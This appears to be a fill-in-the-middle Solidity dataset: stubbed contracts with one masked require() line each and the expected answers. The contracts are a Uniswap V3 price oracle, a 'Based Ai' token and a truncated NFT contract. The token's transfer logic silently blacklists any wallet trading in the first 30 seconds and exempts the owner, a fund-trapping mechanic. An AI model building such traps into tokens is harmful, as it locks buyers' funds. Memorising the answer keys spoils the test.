@param token the base token. index is established at deployment time and cannot be changed
*/
function init(address token) external onlyModuleOrFactory override {
require(<FILL_ME>)
emit OracleInitialized(msg.sender, token, indexToken);
}
/**
@notice returns equivalent indexTokens for amountIn, token
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function read(address token, uint256 amountTokens) external view override returns(uint256 amountUsd, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function amountRequired(address token, uint256 amountUsd) external view override returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses one step route (indexToken/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredOneStep(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses two steps route (indexToken/ETH - ETH/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredTwoSteps(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice updates record price observation history. Not required for this oracle, so nothing to do but the interface must be supported.
@dev it is permissible for anyone to supply gas and update the oracle's price history.
@param token baseToken to update
*/
function update(address token) external override {}
/**
@notice returns equivalent indexTokens for amountTokens, token
@param token ERC20 token
@param amountTokens amount in token native precision
@param amountOut equivalent amount in indexTokens
*/
function consult(address token, uint256 amountTokens) public view returns (uint256 amountOut) {
}
/**
@notice checks whether the pool is unlocked and returns the current tick
@param pool the pool address
@param tick tick from slot0
*/
function poolValues(address pool) internal view returns (int24 tick) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses one step route (token/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultOneStep(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses two steps route (token/ETH - ETH/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultTwoSteps(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using TWAP price
@param _pool Uniswap V3 pool address to be used for price checking
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _twapPeriod the averaging time period
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchTwap(
address _pool,
address _tokenIn,
address _tokenOut,
uint32 _twapPeriod,
uint256 _amountIn
) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using spot price
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _tick tick for the spot price
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchSpot(
address _tokenIn,
address _tokenOut,
int24 _tick,
uint256 _amountIn
) internal pure returns (uint256 amountOut) {
}
/*********************************
* CRUD
*********************************/
/**
* @notice utility function that checks whether there is an existing pool for the specified tokens. Returns true if the pool exists
* @param token0 address of the first token
* @param token1 address of the second token
* @param poolFee fee setting for the pool
*/
function poolExists(address token0, address token1, uint24 poolFee) private view returns (bool) {
}
/**
* @notice check settings and pools for a token being registered with the oracle
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function checkTokenSettings(address token, bool oneStep, uint24 poolFee) private view {
}
/**
* @notice register a new token
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function registerToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
/**
* @notice re-register a token with different pool settings
* @param token address of the token to be re-registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function reregisterToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
}
| registeredTokensSet.exists(token),"UniswapV3OracleSimple: token must be registered with the Oracle before it's iniialized from the Factory" | 69,778 | registeredTokensSet.exists(token) |
"UniswapV3OracleSimple: unknown ETH/indexToken pair" | // SPDX-License-Identifier: GNU
pragma solidity 0.7.6;
import "../OracleCommon.sol";
import "../../lib/AddressSet.sol";
import "../../_openzeppelin/math/SafeMath.sol";
import '../../_uniswap_v3/v3-periphery/contracts/libraries/OracleLibrary.sol';
import '../../_uniswap_v3/v3-periphery/contracts/libraries/PoolAddress.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '../../lib/SafeUint128.sol';
/**
@notice A oracle based on Uniswap V3 pools that checks spot price and a specified TWAP period and uses the lower of the 2 values.
The oracle supports one hop routes (token/indexToken) and two hops routes (token/ETH - ETH/indexToken).
Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period,
Periodicity and Uniswap V3 pool fee setting are passed along during the token's registration.
Index token (usually a USD token) and Uniswap V3 ETH/indexToken pool fee setting are fixed at deployment time.
A single deployment can be shared by multiple oneToken clients and can observe multiple base tokens.
Non-USD index tokens are possible. Such deployments can be used as interim oracles in Composite Oracles. They should
NOT be registered in the Factory because they are not, by definition, valid sources of USD quotes.
Example calculation MPH/ETH -> ETH/USD spot and MPH/ETH -> ETH/USD 24hr take the lower value and return. This is a safety net to help
prevent price manipulation.
For the ETH/indexToken pool only the spot price is checked. TWAP is used only for token/ETH and token/indexToken pools.
*/
contract UniswapV3OracleSimple is OracleCommon {
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
using AddressSet for AddressSet.Set;
address public immutable uniswapFactory;
uint24 public immutable ethPoolFee;
struct Settings {
bool oneStep;
uint32 period;
uint24 poolFee;
}
// token address => Settings
// Settings.oneStep flag specifies whether it's one step or two step oracle (with ETH as an intermetiatery)
// Settings.poolFee is used to select between available V3 pools for the token
// Settings.period value (in seconds) specifies desired time period for TWAP obsersation
// If Setting.period == 0, only spot price is used
mapping(address => Settings) public registeredTokens;
// iterable key set with delete
AddressSet.Set registeredTokensSet;
event RegisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
event ReregisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
/**
@notice the indexToken (index token), averaging period and uniswapfactory cannot be changed post-deployment
@dev deploy multiple instances to support different configurations
@param oneTokenFactory_ oneToken factory to bind to
@param uniswapFactory_ external factory contract needed by the uniswap V3 library
@param indexToken_ the index token to use for valuations. If not a usd collateral token then the Oracle should not be registered in the factory but it can be used by CompositeOracles.
@param ethPoolFee_ fee setting for ETH/indexToken uniswap V3 pool to be used by this oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
constructor(
address oneTokenFactory_,
address uniswapFactory_,
address indexToken_,
uint24 ethPoolFee_)
OracleCommon(
oneTokenFactory_,
"ICHI Simple Uniswap V3 Oracle",
indexToken_)
{
}
/**
@notice checks is the oracle is ready to be used with the base token, If yes, emits OracleInitialized event
@dev initialized from the Factory when assigned to an asset.
@param token the base token. index is established at deployment time and cannot be changed
*/
function init(address token) external onlyModuleOrFactory override {
}
/**
@notice returns equivalent indexTokens for amountIn, token
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function read(address token, uint256 amountTokens) external view override returns(uint256 amountUsd, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function amountRequired(address token, uint256 amountUsd) external view override returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses one step route (indexToken/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredOneStep(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses two steps route (indexToken/ETH - ETH/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredTwoSteps(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice updates record price observation history. Not required for this oracle, so nothing to do but the interface must be supported.
@dev it is permissible for anyone to supply gas and update the oracle's price history.
@param token baseToken to update
*/
function update(address token) external override {}
/**
@notice returns equivalent indexTokens for amountTokens, token
@param token ERC20 token
@param amountTokens amount in token native precision
@param amountOut equivalent amount in indexTokens
*/
function consult(address token, uint256 amountTokens) public view returns (uint256 amountOut) {
}
/**
@notice checks whether the pool is unlocked and returns the current tick
@param pool the pool address
@param tick tick from slot0
*/
function poolValues(address pool) internal view returns (int24 tick) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses one step route (token/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultOneStep(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses two steps route (token/ETH - ETH/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultTwoSteps(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using TWAP price
@param _pool Uniswap V3 pool address to be used for price checking
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _twapPeriod the averaging time period
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchTwap(
address _pool,
address _tokenIn,
address _tokenOut,
uint32 _twapPeriod,
uint256 _amountIn
) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using spot price
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _tick tick for the spot price
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchSpot(
address _tokenIn,
address _tokenOut,
int24 _tick,
uint256 _amountIn
) internal pure returns (uint256 amountOut) {
}
/*********************************
* CRUD
*********************************/
/**
* @notice utility function that checks whether there is an existing pool for the specified tokens. Returns true if the pool exists
* @param token0 address of the first token
* @param token1 address of the second token
* @param poolFee fee setting for the pool
*/
function poolExists(address token0, address token1, uint24 poolFee) private view returns (bool) {
}
/**
* @notice check settings and pools for a token being registered with the oracle
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function checkTokenSettings(address token, bool oneStep, uint24 poolFee) private view {
require(token != NULL_ADDRESS, "UniswapV3OracleSimple: token cannot be null");
require(poolFee > 0, "UniswapV3OracleSimple: poolFee must be > 0");
address tokenToCheck = indexToken;
if (!oneStep) {
tokenToCheck = WETH;
// check if there is a pool for the second pair
require(<FILL_ME>)
}
// check if there is a pool for the main pair
require(poolExists(token, tokenToCheck, poolFee), "UniswapV3OracleSimple: unknown pair");
}
/**
* @notice register a new token
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function registerToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
/**
* @notice re-register a token with different pool settings
* @param token address of the token to be re-registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function reregisterToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
}
| poolExists(WETH,indexToken,ethPoolFee),"UniswapV3OracleSimple: unknown ETH/indexToken pair" | 69,778 | poolExists(WETH,indexToken,ethPoolFee) |
"UniswapV3OracleSimple: unknown pair" | // SPDX-License-Identifier: GNU
pragma solidity 0.7.6;
import "../OracleCommon.sol";
import "../../lib/AddressSet.sol";
import "../../_openzeppelin/math/SafeMath.sol";
import '../../_uniswap_v3/v3-periphery/contracts/libraries/OracleLibrary.sol';
import '../../_uniswap_v3/v3-periphery/contracts/libraries/PoolAddress.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '../../lib/SafeUint128.sol';
/**
@notice A oracle based on Uniswap V3 pools that checks spot price and a specified TWAP period and uses the lower of the 2 values.
The oracle supports one hop routes (token/indexToken) and two hops routes (token/ETH - ETH/indexToken).
Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period,
Periodicity and Uniswap V3 pool fee setting are passed along during the token's registration.
Index token (usually a USD token) and Uniswap V3 ETH/indexToken pool fee setting are fixed at deployment time.
A single deployment can be shared by multiple oneToken clients and can observe multiple base tokens.
Non-USD index tokens are possible. Such deployments can be used as interim oracles in Composite Oracles. They should
NOT be registered in the Factory because they are not, by definition, valid sources of USD quotes.
Example calculation MPH/ETH -> ETH/USD spot and MPH/ETH -> ETH/USD 24hr take the lower value and return. This is a safety net to help
prevent price manipulation.
For the ETH/indexToken pool only the spot price is checked. TWAP is used only for token/ETH and token/indexToken pools.
*/
contract UniswapV3OracleSimple is OracleCommon {
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
using AddressSet for AddressSet.Set;
address public immutable uniswapFactory;
uint24 public immutable ethPoolFee;
struct Settings {
bool oneStep;
uint32 period;
uint24 poolFee;
}
// token address => Settings
// Settings.oneStep flag specifies whether it's one step or two step oracle (with ETH as an intermetiatery)
// Settings.poolFee is used to select between available V3 pools for the token
// Settings.period value (in seconds) specifies desired time period for TWAP obsersation
// If Setting.period == 0, only spot price is used
mapping(address => Settings) public registeredTokens;
// iterable key set with delete
AddressSet.Set registeredTokensSet;
event RegisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
event ReregisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
/**
@notice the indexToken (index token), averaging period and uniswapfactory cannot be changed post-deployment
@dev deploy multiple instances to support different configurations
@param oneTokenFactory_ oneToken factory to bind to
@param uniswapFactory_ external factory contract needed by the uniswap V3 library
@param indexToken_ the index token to use for valuations. If not a usd collateral token then the Oracle should not be registered in the factory but it can be used by CompositeOracles.
@param ethPoolFee_ fee setting for ETH/indexToken uniswap V3 pool to be used by this oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
constructor(
address oneTokenFactory_,
address uniswapFactory_,
address indexToken_,
uint24 ethPoolFee_)
OracleCommon(
oneTokenFactory_,
"ICHI Simple Uniswap V3 Oracle",
indexToken_)
{
}
/**
@notice checks is the oracle is ready to be used with the base token, If yes, emits OracleInitialized event
@dev initialized from the Factory when assigned to an asset.
@param token the base token. index is established at deployment time and cannot be changed
*/
function init(address token) external onlyModuleOrFactory override {
}
/**
@notice returns equivalent indexTokens for amountIn, token
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function read(address token, uint256 amountTokens) external view override returns(uint256 amountUsd, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param volatility metric for future use-cases
*/
function amountRequired(address token, uint256 amountUsd) external view override returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses one step route (indexToken/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredOneStep(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice returns equivalent baseTokens for amountUsd, indexToken. Uses two steps route (indexToken/ETH - ETH/token)
@dev index token is established at deployment time
@param token ERC20 token
@param amountTokens quantity, token precision
@param amountUsd US dollar equivalent, precision 18
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param volatility metric for future use-cases
*/
function amountRequiredTwoSteps(address token, uint256 amountUsd, uint32 period, uint24 poolFee) internal view returns(uint256 amountTokens, uint256 volatility) {
}
/**
@notice updates record price observation history. Not required for this oracle, so nothing to do but the interface must be supported.
@dev it is permissible for anyone to supply gas and update the oracle's price history.
@param token baseToken to update
*/
function update(address token) external override {}
/**
@notice returns equivalent indexTokens for amountTokens, token
@param token ERC20 token
@param amountTokens amount in token native precision
@param amountOut equivalent amount in indexTokens
*/
function consult(address token, uint256 amountTokens) public view returns (uint256 amountOut) {
}
/**
@notice checks whether the pool is unlocked and returns the current tick
@param pool the pool address
@param tick tick from slot0
*/
function poolValues(address pool) internal view returns (int24 tick) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses one step route (token/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultOneStep(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent indexTokens for amountTokens, token. Uses two steps route (token/ETH - ETH/indexToken)
@param token ERC20 token
@param amountTokens amount in token native precision
@param poolFee used to select between avaulable V3 pools for the token
@param period value (in seconds) specifies desired time period for TWAP obsersation
@param amountOut equivalent amount in indexTokens
*/
function consultTwoSteps(address token, uint256 amountTokens, uint32 period, uint24 poolFee) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using TWAP price
@param _pool Uniswap V3 pool address to be used for price checking
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _twapPeriod the averaging time period
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchTwap(
address _pool,
address _tokenIn,
address _tokenOut,
uint32 _twapPeriod,
uint256 _amountIn
) internal view returns (uint256 amountOut) {
}
/**
@notice returns equivalent _tokenOut for _amountIn, _tokenIn using spot price
@param _tokenIn token the input amount is in
@param _tokenOut token for the output amount
@param _tick tick for the spot price
@param _amountIn amount in _tokenIn
@param amountOut equivalent anount in _tokenOut
*/
function _fetchSpot(
address _tokenIn,
address _tokenOut,
int24 _tick,
uint256 _amountIn
) internal pure returns (uint256 amountOut) {
}
/*********************************
* CRUD
*********************************/
/**
* @notice utility function that checks whether there is an existing pool for the specified tokens. Returns true if the pool exists
* @param token0 address of the first token
* @param token1 address of the second token
* @param poolFee fee setting for the pool
*/
function poolExists(address token0, address token1, uint24 poolFee) private view returns (bool) {
}
/**
* @notice check settings and pools for a token being registered with the oracle
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function checkTokenSettings(address token, bool oneStep, uint24 poolFee) private view {
require(token != NULL_ADDRESS, "UniswapV3OracleSimple: token cannot be null");
require(poolFee > 0, "UniswapV3OracleSimple: poolFee must be > 0");
address tokenToCheck = indexToken;
if (!oneStep) {
tokenToCheck = WETH;
// check if there is a pool for the second pair
require(poolExists(WETH, indexToken, ethPoolFee), "UniswapV3OracleSimple: unknown ETH/indexToken pair");
}
// check if there is a pool for the main pair
require(<FILL_ME>)
}
/**
* @notice register a new token
* @param token address of the token to be registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function registerToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
/**
* @notice re-register a token with different pool settings
* @param token address of the token to be re-registered
* @param oneStep bool flag that indicates whether to use one step or two steps route (via ETH)
* @param period the averaging period to use for price smoothing (in seconds)
* @param poolFee fee setting for the uniswap V3 pool to be used by the oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
function reregisterToken(address token, bool oneStep, uint32 period, uint24 poolFee) external onlyOwner {
}
}
| poolExists(token,tokenToCheck,poolFee),"UniswapV3OracleSimple: unknown pair" | 69,778 | poolExists(token,tokenToCheck,poolFee) |
"Account is blacklisted" | /**
Telegram: https://t.me/BasedAiofficials
*/
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/* solhint-disable */
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BasedAi is ERC20, Ownable {
using SafeMath for uint256;
address public routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
string public constant _name = "Based Ai";
string public constant _symbol = "BASEDAI";
uint8 public constant _decimals = 9;
uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public _isBlackListed;
bool public isTradingEnabled;
uint256 public startTime;
uint256 public constant BLACKLIST_TRADE_UNTIL = 30 seconds;
uint256 public liquidityFee = 10;
uint256 public marketingFee = 40;
uint256 public totalFee = liquidityFee + marketingFee;
uint256 public feeDenominator = 1000;
address private marketingFeeReceiver = 0x0473dA3a4f9d4BD4782a07f3F54A3B26B0411B25;
IDEXRouter public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = (_totalSupply / 1000) * 2; //
bool internal inSwap;
modifier swapping() {
}
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {
}
function decimals() external pure override returns (uint8) {
}
function symbol() external pure override returns (string memory) {
}
function name() external pure override returns (string memory) {
}
function getOwner() external view override returns (address) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (recipient != pair && recipient != DEAD) {
require(
isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);
}
require(<FILL_ME>)
if (sender != owner && recipient != owner) {
require(isTradingEnabled, "Trading not enabled yet");
if (block.timestamp < startTime + BLACKLIST_TRADE_UNTIL) {
if (sender == pair) {
_isBlackListed[recipient] = true;
}
if (recipient == pair) {
_isBlackListed[sender] = true;
}
}
}
if (shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function buyTokens(uint256 amount, address to) internal swapping {
}
function clearStuckBalance() external {
}
function setWalletLimit(uint256 amountPercent) external onlyOwner {
}
function setFee(uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}
| !_isBlackListed[sender]&&!_isBlackListed[recipient],"Account is blacklisted" | 69,878 | !_isBlackListed[sender]&&!_isBlackListed[recipient] |
"TreasureChest: exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./operator-filter-registry/DefaultOperatorFilterer.sol";
/// @title TreasureChest contract
/// @custom:juice 100%
/// @custom:security-contact [email protected]
contract TreasureChest is ERC721, ERC721Burnable, Pausable, Ownable, AccessControl, DefaultOperatorFilterer {
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
using Counters for Counters.Counter;
string public baseURI;
uint256 public maxSupply;
mapping (address => bool) private airdrops;
Counters.Counter private tokenIdCounter;
constructor(string memory baseURI_, uint256 maxSupply_)
ERC721("TreasureChest", "TC")
{
}
function claimAirdrop(address _recipient)
external
whenNotPaused
